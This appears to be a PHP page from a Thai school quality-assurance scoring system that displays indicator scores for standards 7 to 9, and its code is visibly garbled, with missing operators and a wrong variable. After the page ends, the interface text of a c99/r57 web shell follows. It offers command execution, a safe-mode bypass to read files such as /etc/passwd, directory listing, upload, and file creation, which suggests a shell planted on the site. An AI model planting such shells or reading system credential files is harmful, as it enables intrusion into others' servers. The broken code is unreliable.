                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S77 
$rs[S77];
                          if (
$S77== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.8'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.8</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S78 
$rs[S78];
                          if (
$S78== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S78 
$rs[S78];
                          if (
$S78== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S78 
$rs[S78];
                          if (
$S78== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S78 
$rs[S78];
                          if (
$S78== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.9'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.9</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S79 
$rs[S79];
                          if (
$S79== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S79 
$rs[S79];
                          if (
$S79== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S79 
$rs[S79];
                          if (
$S79== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S79 
$rs[S79];
                          if (
$S79== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.10'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.10</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S710 
$rs[S710];
                          if (
$S710== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S710 
$rs[S710];
                          if (
$S710== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S710 
$rs[S710];
                          if (
$S710== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S710 
$rs[S710];
                          if (
$S710== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.11'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.11</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S711 
$rs[S711];
                          if (
$S710== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S711 
$rs[S711];
                          if (
$S711== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S711 
$rs[S711];
                          if (
$S711== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S711 
$rs[S711];
                          if (
$S711== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.12'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d"> 7.12</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S712 
$rs[S712];
                          if (
$S712== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S712 
$rs[S712];
                          if (
$S712== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S712 
$rs[S712];
                          if (
$S712== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S712 
$rs[S712];
                          if (
$S712== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่7</strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd7 
$rs[S71] + $rs[S72] + $rs[S73] + $rs[S74] + $rs[S75] + $rs[S76] + $rs[S77] + $rs[S78] + $rs[S79] + $rs[S710] + $rs[S711] + $rs[S712];
  echo
"$SumStd7";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">8.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='8.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">8.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE"><div align="center"><font size="2" face="Tahoma">
                                      <?php
                      $S81 
$rs[S81];
                          if (
$S81== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S81 
$rs[S81];
                          if (
$S81== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#C6EEFD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S81 
$rs[S81];
                          if (
$S81== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#B9EAFD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S81 
$rs[S81];
                          if (
$S81== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='8.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d"> 8.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE"><div align="center"><font size="2" face="Tahoma">
                                      <?php
                      $S82 
$rs[S82];
                          if (
$S82== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S82 
$rs[S82];
                          if (
$S82== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#C6EEFD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S82 
$rs[S82];
                          if (
$S82== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#B9EAFD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S82 
$rs[S82];
                          if (
$S82== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่8 </strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd8 
$rs[S81] + $rs[S82] ;
  echo
"$SumStd8";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">9.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.1</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.2</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.3</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.4</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.5</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.6</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.7</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">9.8</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#DAF4FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#D3F2FE">&nbsp;</td>
                                  <td width="25%" bgcolor="#C6EEFD">&nbsp;</td>
                                  <td width="25%" bgcolor="#B9EAFD">&nbsp;</td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr bgcolor="#CCCCCC">
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่9</strong></font></div></td>
                                <td width="50%" bgcolor="#FFFFE8"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumAllStd 
$SumStd1 $SumStd2 $SumStd3 $SumStd4 $Sumstd5 $SumStd6 $SumStd7 $SumStd8 $SumStd9 ;
  echo
"$SumAllStd";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr bgcolor="#CCCCCC">
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมทั้งหมด </strong></font></div></td>
                                <td width="50%" bgcolor="#FFFFE8"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumAllStd 
$SumStd1 $SumStd2 $SumStd3 $SumStd4 $Sumstd5 $SumStd6 $SumStd7 $SumStd8 $SumStd9 ;
  echo
"$SumAllStd";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr bgcolor="#CCCCCC">
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                          <td>&nbsp;</td>
                        </tr>
                      </table>
                  </div></td>
                </tr>
                <tr bgcolor="#CCCCCC"  >
                  <td height="25" colspan="3" background="../Image/barqa1.jpg">&nbsp;</td>
                </tr>
              </table>
              <br>
            </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0311 ]--